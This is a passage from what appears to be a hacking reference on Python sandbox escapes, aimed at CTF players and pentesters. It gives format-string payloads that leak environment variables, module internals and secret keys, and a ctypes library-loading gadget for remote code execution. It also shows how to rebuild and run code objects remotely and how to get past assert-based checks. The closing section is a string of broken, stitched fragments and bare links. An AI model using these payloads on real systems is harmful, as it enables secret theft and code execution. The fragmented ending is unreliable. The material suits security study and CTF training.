    #    ALREADY_CHECKED.add(name)
    
    # If found add to the dict
    for k in SEARCH_FOR:
        if k in dir(element) or (type(element) is dict and k in element):
            SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
    
    # Continue with the recursivity
    for new_element in dir(element):
        try:
            check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
            
            # WARNING: Calling random functions sometimes kills the script
            # Comment this part if you notice that behaviour!!
            if execute:
                try:
                    if callable(getattr(element, new_element)):
                        check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
                except:
                    pass
        
        except:
            pass
    
    # If in a dict, scan also each key, very important
    if type(element) is dict:
        for new_element in element:
            check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
    print("Checking from empty string...")
    total = [""]
    for i,element in enumerate(total):
        print(f"\rStatus: {i}/{len(total)}", end="")
        cont = 1
        check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
    
    print()
    print("Checking loaded subclasses...")
    total = "".__class__.__base__.__subclasses__()
    for i,element in enumerate(total):
        print(f"\rStatus: {i}/{len(total)}", end="")
        cont = 1
        check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
    
    print()
    print("Checking from global functions...")
    total = [print, check_recursive]
    for i,element in enumerate(total):
        print(f"\rStatus: {i}/{len(total)}", end="")
        cont = 1
        check_recursive(element, cont, "", str(element), f"Global func {i}", False)
    
    print()
    print(SEARCH_FOR)


if __name__ == "__main__":
    main()

You can check the output of this script on this page:

Python Format String

If you send a string to python that is going to be formatted, you can use {} to access python internal information. You can use the previous examples to access globals or builtins for example.

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
    "KEY": "ASXFYFGK78989"
}

class PeopleInfo:
    def __init__(self, fname, lname):
        self.fname = fname
        self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
    return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Note how you can access attributes in a normal way with a dot like people_obj.__init__ and dict element with parenthesis without quotes __globals__[CONFIG]

Also note that you can use .__dict__ to enumerate elements of an object get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Some other interesting characteristics from format strings is the possibility of executing the functions str, repr and ascii in the indicated object by adding !s, !r, !a respectively:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Moreover, it's possible to code new formatters in classes:

class HAL9000(object):
    def __format__(self, format):
        if (format == 'open-the-pod-bay-doors'):
            return "I'm afraid I can't do that."
        return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Check also the following page for gadgets that will read sensitive information from Python internal objects:

Sensitive Information Disclosure Payloads

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless

From format to RCE loading libraries

As reminder, every time an action is performed in python some function is executed. For example 2*3 will execute (2).mul(3) or {'a':'b'}['a'] will be {'a':'b'}.__getitem__('a').

A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like '{0.system("/bin/sh")}'.format(os). However, it's possible to use []. Therefore, if a common python library has a __getitem__ or __getattr__ method that executes arbitrary code, it's possible to abuse them to get RCE.

class LibraryLoader(object):
    def __init__(self, dlltype):
        self._dlltype = dlltype

    def __getattr__(self, name):
        if name[0] == '_':
            raise AttributeError(name)
        try:
            dll = self._dlltype(name)
        except OSError:
            raise AttributeError(name)
        setattr(self, name, dll)
        return dll

    def __getitem__(self, name):
        return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

This gadget allows to load a library from disk. Therefore, it's needed to somehow write or upload the library to load correctly compiled to the attacked server.

'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.

Dissecting Python Objects

In some CTFs you could be provided with the name of a custom function where the flag resides and you need to see the internals of the function to extract it.

This is the function to inspect:

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    if some_input == var2:
        return "THIS-IS-THE-FALG!"
    else:
        return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ and func_globals(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

Accessing the function code

__code__ and func_code: You can access this attribute of the function to obtain the code object of the function.

# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Getting Code Information

# Another example
s = '''
a = 5
b = 'text'
def f(x):
    return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Disassembly a function

import dis
dis.dis(get_flag)
  2           0 LOAD_CONST               1 (1)
              3 STORE_FAST               1 (var1)

  3           6 LOAD_CONST               2 ('secretcode')
              9 STORE_FAST               2 (var2)

  4          12 LOAD_CONST               3 ('some')
             15 LOAD_CONST               4 ('array')
             18 BUILD_LIST               2
             21 STORE_FAST               3 (var3)

  5          24 LOAD_FAST                0 (some_input)
             27 LOAD_FAST                2 (var2)
             30 COMPARE_OP               2 (==)
             33 POP_JUMP_IF_FALSE       40

  6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
             39 RETURN_VALUE        

  8     >>   40 LOAD_CONST               6 ('Nope')
             43 RETURN_VALUE        
             44 LOAD_CONST               0 (None)
             47 RETURN_VALUE

Notice that if you cannot import dis in the python sandbox you can obtain the bytecode of the function (get_flag.func_code.co_code) and disassemble it locally. You won't see the content of the variables being loaded (LOAD_CONST) but you can guess them from (get_flag.func_code.co_consts) because LOAD_CONSTalso tells the offset of the variable being loaded.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
          0 LOAD_CONST          1 (1)
          3 STORE_FAST          1 (1)
          6 LOAD_CONST          2 (2)
          9 STORE_FAST          2 (2)
         12 LOAD_CONST          3 (3)
         15 LOAD_CONST          4 (4)
         18 BUILD_LIST          2
         21 STORE_FAST          3 (3)
         24 LOAD_FAST           0 (0)
         27 LOAD_FAST           2 (2)
         30 COMPARE_OP          2 (==)
         33 POP_JUMP_IF_FALSE    40
         36 LOAD_CONST          5 (5)
         39 RETURN_VALUE   
    >>   40 LOAD_CONST          6 (6)
         43 RETURN_VALUE   
         44 LOAD_CONST          0 (0)
         47 RETURN_VALUE

Compiling Python

Now, let us imagine that somehow you can dump the information about a function that you cannot execute but you need to execute it. Like in the following example, you can access the code object of that function, but just reading the disassemble you don't know how to calculate the flag (imagine a more complex calc_flag function)

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    def calc_flag(flag_rot2):
        return ''.join(chr(ord(c)-2) for c in flag_rot2)
    if some_input == var2:
        return calc_flag("VjkuKuVjgHnci")
    else:
        return "Nope"

Creating the code object

First of all, we need to know how to create and execute a code object so we can create one to execute our function leaked:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
               co_nlocals, co_stacksize, co_flags,
               co_code, co_consts, co_names,
               co_varnames, co_filename, co_name,
               co_firstlineno, co_lnotab, freevars=None, 
               cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

Depending on the python version the parameters of code_type may have a different order. The best way to know the order of the params in the python version you are running is to run:

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Recreating a leaked function

In the following example, we are going to take all the data needed to recreate the function from the function code object directly. In a real example, all the values to execute the function code_type is what you will need to leak.

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Bypass Defenses

In previous examples at the beginning of this post, you can see how to execute any python code using the compile function. This is interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using exec). Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF machine (for example because we don't have the compiled function in the CTF).

For example, let's compile and execute manually a function that reads ./poc.py:

#Locally
def read():
    return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

If you cannot access eval or exec you could create a proper function, but calling it directly is usually going to fail with: constructor not accessible in restricted mode. So you need a function not in the restricted environment to call this function.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Decompiling Compiled Python

Check out this tutorial:

Misc Python

Assert

Python executed with optimizations with the param -O will remove asset statements and any code conditional on the value of debug. Therefore, checks like

def check_permission(super_user):
    try:
        assert(super_user)
        print("\nYou are a super user\n")
    except AssertionError:
        print(f"\nNot a Super User!!!\n")

will be bypassed

References

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You can find a list of pre-installed packages here: Note that from a pickle you can make the python env import arbitrary libraries installed in the system. For example, the following pickle, when loaded, is going to import the pip library to use it:

For more information about how pickle works check this:

In UFT-7 is used to load and execute arbitrary python code inside an apparent sandbox:

RCE with

Crating objects with

When an exception is triggered an object of the Exception is created without you needing to call the constructor directly (a trick from ):

to find tens/hundreds of places were you can find the builtins.

to find tens/hundreds of places were you can find the globals.

More examples about format string examples can be found in

According to the it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.

You have more like this in the section .

Looking for a gadget like that in python, the writeup purposes this . Where he found this :

If you want to learn about python bytecode in depth read this awesome post about the topic:

Using tools like one can decompile given compiled python code.

Learn & practice AWS Hacking: Learn & practice GCP Hacking:

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https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
https://checkoway.net/musings/pickle/
this writeup
decorators
metaclasses
@_nag0mez
Builtins functions of python2
Builtins functions of python3
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
https://pyformat.info/
Python Internal Read Gadgets
TypeMonkey chall from this writeup
Github search query
one
https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d
https://www.decompiler.com/
Decompile compiled python binaries (exe, elf) - Retreive from .pyc
https://lbarman.ch/blog/pyjail/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
https://gynvael.coldwind.pl/n/python_sandbox_escape
https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6
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